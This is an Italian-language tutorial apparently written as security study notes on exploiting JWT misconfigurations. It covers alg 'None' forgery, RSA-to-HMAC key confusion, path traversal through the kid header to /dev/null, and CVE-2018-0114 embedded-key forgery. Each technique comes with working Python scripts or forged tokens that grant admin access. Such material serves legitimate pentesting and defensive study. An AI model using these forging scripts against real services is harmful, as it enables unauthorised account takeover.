Web

Exploiting JWT

I token jwt sono un sistema stateless per l’autenticazione client / server. Stateless perché il server non ha bisogno di memorizzare la sessione, tutte le info che servono per identificare il client sono all’interno del JWT. Molto sinteticamente questi sono i Jason Web Tokens. Non mi dilungherò dal momento che il web è pieno di articoli a riguardo, che spiegano anche come usarli, quando usarli e come sono strutturati.

Quella che segue è una raccolta di appunti su come sfruttare alcune misconfiguration dei JWT. Tutte le informazioni si trovano sparpagliate nell’internet, questo articolo nasce con lo scopo di collezionarle in un unico contenitore in modo da reperirle più velocemente, all’occorrenza.

Riferimenti: https://en.wikipedia.org/wiki/JSON_Web_Token

Alg: None

I JWT sono composti da un header, un payload/claim e una signature (header.payload.signature). L’header contiene le informazioni che indicano al server come elaborare il JWT, il payload contiene i dati e la signature è utilizzata per validare l’integrità del token.

I token sono codificati in base64 senza padding (=), decodificando il seguente token di esempio si ottiene un JSON leggibile.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6ImZhdmEiLCJpYXQiOiIxNjAzNzU2MzQyIn0.NWYyZGFkZTA0MDk1MjQ1YzJlZTFiMThlMTM1NmQyM2MyOWQ5NTM2ZWJiN2RjMGRkZGFjZjU1NDk2NmY1NDI1Mg
{"alg":"HS256","typ":"JWS"} # Header

{"login":"fava","iat":"1603756342"} # Payload

5f2dade04095245c2ee1b18e1356d23c29d9536ebb7dc0dddacf554966f5425Mg # Signature

Alg rappresenta l’algoritmo di cifratura utilizzato per firmare il JWT, impostandolo a None è possibile rimuovere la firma dal token. In questo caso si può tamperare il payload (per esempio impostando “login”:”admin”) e utilizzare il nuovo token senza che il backend ne verifichi l’integrità.

Il token diventerà:

eyJhbGciOiAiTm9uZSIsICJ0eXAiOiAiSldTIn0.eyJsb2dpbiI6ICJhZG1pbiIsICJpYXQiOiAiMTYwMzc1NTAyMiJ9.
{"alg": "None", "typ": "JWS"} # Header

{"login": "admin", "iat": "1603755022"} # Payload

È importante notare come il “.” finale separatore della firma rimane in posizione.

Se il backend è vulnerabile, saremo loggati come admin.

RSA => HMAC

Un altro algoritmo che può essere utilizzato per firmare e verificare il token è l’algoritmo di cifratura asimmetrica RSA che prevede l’utilizzo di una chiave pubblica e una chiave privata.

Generalmente la chiave privata viene utilizzata per firmare il token e la chiave pubblica per verificarlo.

Se un JWT utilizza RSA e la chiave pubblica è accessibile, è possibile, attraverso l’header del JWT, switchare l’algoritmo da RSA a HMAC (HS256) ed utilizzare la chiave pubblica come secret key per firmare il token. Così facendo il backend leggendo l’header del JWT sarà guidato ad utilizzare HMAC al posto di RSA e sarà forzato a pensare che la chiave pubblica RSA sia la secret key di HMAC.

Sopponiamo di avere il token:

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJsb2dpbiI6ImFzZHJ1YmFsZSJ9.L1V-Aoi_UjtoKJ11PO4vVbYTftpGdAwxJN3yDFl7irKh8cxuaFGEWqYQgO4pb6TpmaRX6H694KrwoTRwpmNWELsjzx9YOU3zp7lhnXbzTN4ahlJu3n4ir4ZTOa_mNYXLB4jdgk1nDOzUYGy_K8t2QRo-z8P_2BOYre21E-zwlj62Rc4-2XqEr5I-Ws6MbH4ruUFl_zma5cO4jTEAKA843s4hsj7tyuSw8G1pygKg7P5jvAtja0ktQ9VHSlUnT2g5sIiStZX9OV56jpaHfNuiXzXRyNbxLYR_WTFEqW4UVX4DXISuvKij_iJaLrq8jHlN7LEfgM1Nzy1w1MprDnv4DA

# HEADER
{
  "typ": "JWT",
  "alg": "RS256"
}

# PAYLOAD
{
  "login": "asdrubale"
}

Supponiamo anche che cambiando login ad admin si abbia accesso come amministratore al sito e che la chiave pubblica utilizzata in origine sia accessibile da qualche parte. Cambiando alg in HS256 è possibile generare un nuovo token firmato con HMAC e la chiave pubblica come secret key in questo modo:

#!/usr/local/bin/python3

import hmac
import base64
import hashlib

f = open('public_key.pem','r')
public_key = f.read()


head = base64.urlsafe_b64encode(b'{ "typ": "JWT", "alg": "HS256" }').decode('utf-8').rstrip('=')
body = base64.urlsafe_b64encode(b'{ "login": "admin" }').decode('utf-8').rstrip('=')
payload = f'{head}.{body}'

signature = hmac.new(bytes(public_key, encoding='utf-8'), payload.encode('utf-8'), hashlib.sha256).digest()
encoded_signature = base64.urlsafe_b64encode(signature).decode('utf-8').rstrip('=')

token = f'{payload}.{encoded_signature}'
print(token)

KID

KID è un claim dell’header di JWT che sta a significare key identifier. E’ utilizzato dall’applicazione nel caso in cui esistano vari JWT e siano firmati con chiavi diverse. Il kid è usato come riferimento per la chiave utilizzata. Se è presente il kid nei token JWT è importante testarlo temperandone il valore perché se implementato male potrebbe triggerare SQLi, path traversal etc.

Supponiamo di aver ricevuto un JWT con un il kid punti a un file in un percorso sconosciuto, di seguito il token decodificato:

# HEADER
{
  "typ": "JWT",
  "alg": "HS256",
  "kid": "1337"
}

# PAYLOAD
{
  "user": "asdrubale"
}

Tamperando il kid con dei valori non previsti si ottiene un errore, supponiamo HTTP 500. Se il kid punta ad un file, utilizzando un file esistente che però non è quello relativo alla chiave prevista si otterrà un errore diverso, probabilmente relativo al token che non è valido.

Riuscendo a prevedere la posizione di un file all’interno del server è possibile generare un token firmato correttamente.

L’esempio seguente mostra come il JWT sia stato firmato impostando un kid a ../../../../../../../../dev/null in modo da utilizzare una key vuota. Questo permette di generare un JWT valido che garantisce l’accesso come admin.

#!/usr/local/bin/python3

import hmac
import base64
import hashlib


head = base64.urlsafe_b64encode(b'{"typ":"JWT","alg":"HS256","kid":"../../../../../../../../../dev/null"}').decode('utf-8').rstrip('=')
body = base64.urlsafe_b64encode(b'{ "user": "admin" }').decode('utf-8').rstrip('=')
payload = f'{head}.{body}'
key = ''

signature = hmac.new(bytes(key, encoding='utf-8'), payload.encode('utf-8'), hashlib.sha256).digest()
encoded_signature = base64.urlsafe_b64encode(signature).decode('utf-8').rstrip('=')

token = f'{payload}.{encoded_signature}'
print(token)

Usando la fantasia si potrebbe anche far puntare il kid a dei file .css o .js facilmente identificabili attraverso il sorgente della pagina web.

CVE-2018-0114

Details

A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.

Questa è la descrizione della vulnerabilità riportata dal sito https://nvd.nist.gov/vuln/detail/CVE-2018-0114

In sostanza un token JWT diventa JWS se implementa una chiave pubblica RSA nell’header attraverso il claim jwk. La vulnerabilità in questo caso sta nel fatto che la libreria node-jose di Cisco ritiene affidabile qualsiasi chiave pubblica implementata nel token. Se ci troviamo di fronte a dei JKS quindi, vale la pena di provare a generare un token custom con chiavi RSA personalizzate.

Di seguito uno script che genera il token personalizzato, è possibile modificarlo a seconda delle necessità:

#!/usr/local/bin/python3

import OpenSSL
import base64
import json
import hashlib
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding 

key = OpenSSL.crypto.PKey()
key.generate_key(type=OpenSSL.crypto.TYPE_RSA, bits=2048)
privatekey = key.to_cryptography_key()
publickey = privatekey.public_key()

n = publickey.public_numbers().n
e = publickey.public_numbers().e

header_n = base64.urlsafe_b64encode( n.to_bytes(n.bit_length() // 8+1, byteorder='big') ).decode('utf-8').rstrip('=')
header_e = base64.urlsafe_b64encode( e.to_bytes(e.bit_length() // 8+1, byteorder='big') ).decode('utf-8').rstrip('=')

claims = {"alg":"RS256", "jwk": {"kty":"RSA", "kid":"qualsiasicosa", "use":"sig", "n":"", "e":""}}

claims['jwk']['n'] = header_n
claims['jwk']['e'] = header_e

head = base64.urlsafe_b64encode(json.dumps(claims).encode('utf-8')).decode('utf-8').rstrip('=')
body = base64.urlsafe_b64encode(b'admin').decode('utf-8').rstrip('=')

payload = f'{head}.{body}'

signature = privatekey.sign( bytes(payload, encoding='utf-8'), algorithm=hashes.SHA256(), padding=padding.PKCS1v15() )
encoded_signature = base64.urlsafe_b64encode(signature).decode('utf-8').rstrip('=')

token = f'{payload}.{encoded_signature}'

print(token)

La cosa da tenere a mente è che una volta generata la coppia di chiavi, bisognerà estrarre dalla chiave pubblica i valori di e ed n che devono essere inseriti all’interno del claim jwk.

Seguiranno aggiornamenti!